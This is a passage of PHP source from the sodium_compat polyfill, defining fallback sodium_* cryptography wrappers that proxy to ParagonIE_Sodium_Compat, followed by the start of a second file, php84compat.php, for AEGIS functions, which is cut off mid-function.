     * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $secret_key
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $secret_key,
        $public_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key);
    }
}
if (!is_callable('sodium_crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key_pair
     * @return string|bool
     */
    function sodium_crypto_box_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key_pair
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey(
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair);
    }
}
if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secret_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key);
    }
}
if (!is_callable('sodium_crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal()
     * @param string $message
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seal(
        #[\SensitiveParameter]
        $message,
        $public_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key);
    }
}
if (!is_callable('sodium_crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $key_pair
     * @return string|bool
     * @throws SodiumException
     */
    function sodium_crypto_box_seal_open(
        $message,
        #[\SensitiveParameter]
        $key_pair
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair);
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') {
                throw $ex;
            }
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_secretkey(
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair);
    }
}
if (!is_callable('sodium_crypto_box_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $length
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash(
        $message,
        #[\SensitiveParameter]
        $key = null,
        $length = 32
    ) {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length);
    }
}
if (!is_callable('sodium_crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $state
     * @param int $outputLength
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_final(&$state, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength);
    }
}
if (!is_callable('sodium_crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $length
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_init(
        #[\SensitiveParameter]
        $key = null,
        $length = 32
    ) {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length);
    }
}
if (!is_callable('sodium_crypto_generichash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_generichash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_keygen();
    }
}
if (!is_callable('sodium_crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $state
     * @param string $message
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_update(
        #[\SensitiveParameter]
        &$state,
        $message = ''
    ) {
        ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message);
    }
}
if (!is_callable('sodium_crypto_kdf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kdf_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_kdf_keygen();
    }
}
if (!is_callable('sodium_crypto_kdf_derive_from_key')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key()
     * @param int $subkey_length
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kdf_derive_from_key(
        $subkey_length,
        $subkey_id,
        $context,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key(
            $subkey_length,
            $subkey_id,
            $context,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_kx(
        #[\SensitiveParameter]
        $my_secret,
        $their_public,
        $client_public,
        $server_public
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }
}
if (!is_callable('sodium_crypto_kx_seed_keypair')) {
    /**
     * @param string $seed
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_kx_keypair')) {
    /**
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_kx_keypair();
    }
}
if (!is_callable('sodium_crypto_kx_client_session_keys')) {
    /**
     * @param string $client_key_pair
     * @param string $server_key
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    function sodium_crypto_kx_client_session_keys(
        #[\SensitiveParameter]
        $client_key_pair,
        $server_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key);
    }
}
if (!is_callable('sodium_crypto_kx_server_session_keys')) {
    /**
     * @param string $server_key_pair
     * @param string $client_key
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    function sodium_crypto_kx_server_session_keys(
        #[\SensitiveParameter]
        $server_key_pair,
        $client_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key);
    }
}
if (!is_callable('sodium_crypto_kx_secretkey')) {
    /**
     * @param string $key_pair
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_secretkey(
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair);
    }
}
if (!is_callable('sodium_crypto_kx_publickey')) {
    /**
     * @param string $key_pair
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_publickey(
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair);
    }
}
if (!is_callable('sodium_crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $length
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $algo
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash(
        $length,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit,
        $algo = null
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo);
    }
}
if (!is_callable('sodium_crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash()
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     *
     * @throws SodiumException
     */
    function sodium_crypto_pwhash_str_needs_rehash(
        #[\SensitiveParameter]
        $hash,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash);
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $length
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256(
        $length,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256(
            $length,
            $passwd,
            $salt,
            $opslimit,
            $memlimit
        );
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash);
    }
}
if (!is_callable('sodium_crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult(
        #[\SensitiveParameter]
        $n,
        $p
    ) {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('sodium_crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_base(
        #[\SensitiveParameter]
        $n
    ) {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('sodium_crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_secretbox(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_secretbox_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretbox_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox_keygen();
    }
}
if (!is_callable('sodium_crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_secretbox_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) {
    /**
     * @param string $key
     * @return array<int, string>
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_init_push(
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key);
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) {
    /**
     * @param string $state
     * @param string $message
     * @param string $additional_data
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_push(
        #[\SensitiveParameter]
        &$state,
        #[\SensitiveParameter]
        $message,
        $additional_data = '',
        $tag = 0
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push(
            $state,
            $message,
            $additional_data,
            $tag
        );
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) {
    /**
     * @param string $header
     * @param string $key
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretstream_xchacha20poly1305_init_pull(
        $header,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key);
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) {
    /**
     * @param string $state
     * @param string $ciphertext
     * @param string $additional_data
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_pull(
        #[\SensitiveParameter]
        &$state,
        $ciphertext,
        $additional_data = ''
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull(
            $state,
            $ciphertext,
            $additional_data
        );
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) {
    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_rekey(
        #[\SensitiveParameter]
        &$state
    ) {
        ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state);
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) {
    /**
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretstream_xchacha20poly1305_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen();
    }
}
if (!is_callable('sodium_crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_shorthash(
        $message,
        #[\SensitiveParameter]
        $key = ''
    ) {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('sodium_crypto_shorthash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_shorthash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash_keygen();
    }
}
if (!is_callable('sodium_crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign(
        $message,
        #[\SensitiveParameter]
        $secret_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key);
    }
}
if (!is_callable('sodium_crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_detached(
        $message,
        #[\SensitiveParameter]
        $secret_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key);
    }
}
if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey()
     * @param string $secret_key
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $secret_key,
        $public_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key);
    }
}
if (!is_callable('sodium_crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('sodium_crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $public_key
     * @return string|bool
     */
    function sodium_crypto_sign_open($signedMessage, $public_key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey(
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair);
    }
}
if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secret_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key);
    }
}
if (!is_callable('sodium_crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_secretkey(
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair);
    }
}
if (!is_callable('sodium_crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $public_key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_verify_detached($signature, $message, $public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_sk_to_curve25519(
        #[\SensitiveParameter]
        $secret_key
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key);
    }
}
if (!is_callable('sodium_crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $length
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream(
        $length,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_stream_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_stream_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_stream_keygen();
    }
}
if (!is_callable('sodium_crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key);
    }
}
require_once dirname(__FILE__) . '/stream-xchacha20.php';
if (!is_callable('sodium_hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @param string $ignore
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_hex2bin(
        #[\SensitiveParameter]
        $string,
        $ignore = ''
    ) {
        return ParagonIE_Sodium_Compat::hex2bin($string, $ignore);
    }
}
if (!is_callable('sodium_increment')) {
    /**
     * @see ParagonIE_Sodium_Compat::increment()
     * @param string $string
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_increment(
        #[\SensitiveParameter]
        &$string
    ) {
        ParagonIE_Sodium_Compat::increment($string);
    }
}
if (!is_callable('sodium_library_version_major')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_major()
     * @return int
     */
    function sodium_library_version_major()
    {
        return ParagonIE_Sodium_Compat::library_version_major();
    }
}
if (!is_callable('sodium_library_version_minor')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_minor()
     * @return int
     */
    function sodium_library_version_minor()
    {
        return ParagonIE_Sodium_Compat::library_version_minor();
    }
}
if (!is_callable('sodium_version_string')) {
    /**
     * @see ParagonIE_Sodium_Compat::version_string()
     * @return string
     */
    function sodium_version_string()
    {
        return ParagonIE_Sodium_Compat::version_string();
    }
}
if (!is_callable('sodium_memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $string1
     * @param string $string2
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_memcmp(
        #[\SensitiveParameter]
        $string1,
        #[\SensitiveParameter]
        $string2
    ) {
        return ParagonIE_Sodium_Compat::memcmp($string1, $string2);
    }
}
if (!is_callable('sodium_memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $string
     * @return void
     * @throws SodiumException
     * @throws TypeError
     *
     * @psalm-suppress ReferenceConstraintViolation
     */
    function sodium_memzero(
        #[\SensitiveParameter]
        &$string
    ) {
        ParagonIE_Sodium_Compat::memzero($string);
    }
}
if (!is_callable('sodium_pad')) {
    /**
     * @see ParagonIE_Sodium_Compat::pad()
     * @param string $unpadded
     * @param int $block_size
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_pad(
        #[\SensitiveParameter]
        $unpadded,
        $block_size
    ) {
        return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true);
    }
}
if (!is_callable('sodium_unpad')) {
    /**
     * @see ParagonIE_Sodium_Compat::pad()
     * @param string $padded
     * @param int $block_size
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_unpad(
        #[\SensitiveParameter]
        $padded,
        $block_size
    ) {
        return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true);
    }
}
if (!is_callable('sodium_randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws Exception
     */
    function sodium_randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('sodium_randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('sodium_randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}
php84compat.php000064400000007110151024232700007417 0ustar00<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions and constants, but only if they do not already exist.
 *
 * Thus, the functions or constants just proxy to the appropriate
 * ParagonIE_Sodium_Compat method or class constant, respectively.
 */
foreach (array(
    'CRYPTO_AEAD_AESGIS128L_KEYBYTES',
    'CRYPTO_AEAD_AESGIS128L_NSECBYTES',
    'CRYPTO_AEAD_AESGIS128L_NPUBBYTES',
    'CRYPTO_AEAD_AESGIS128L_ABYTES',
    'CRYPTO_AEAD_AESGIS256_KEYBYTES',
    'CRYPTO_AEAD_AESGIS256_NSECBYTES',
    'CRYPTO_AEAD_AESGIS256_NPUBBYTES',
    'CRYPTO_AEAD_AESGIS256_ABYTES',
    ) as $constant
) {
    if (!defined("SODIUM_$constant") && defined("ParagonIE_Sodium_Compat::$constant")) {
        define("SODIUM_$constant", constant("ParagonIE_Sodium_Compat::$constant"));
    }
}
if (!is_callable('sodium_crypto_aead_aegis128l_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aegis128l_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_aead_aegis128l_decrypt(
        $ciphertext,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_aegis128l_decrypt(
            $ciphertext,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_aegis128l_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aegis128l_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_aegis128l_encrypt(
        #[\SensitiveParameter]
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_aegis128l_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_aegis256_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aegis256_encrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_aead_aegis256_decrypt(
        $ciphertext,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_aegis256_decrypt(
            $ciphertext,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_aegis256_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aegis256_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_aegis256_encrypt(
        #[\SensitiveParameter]
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
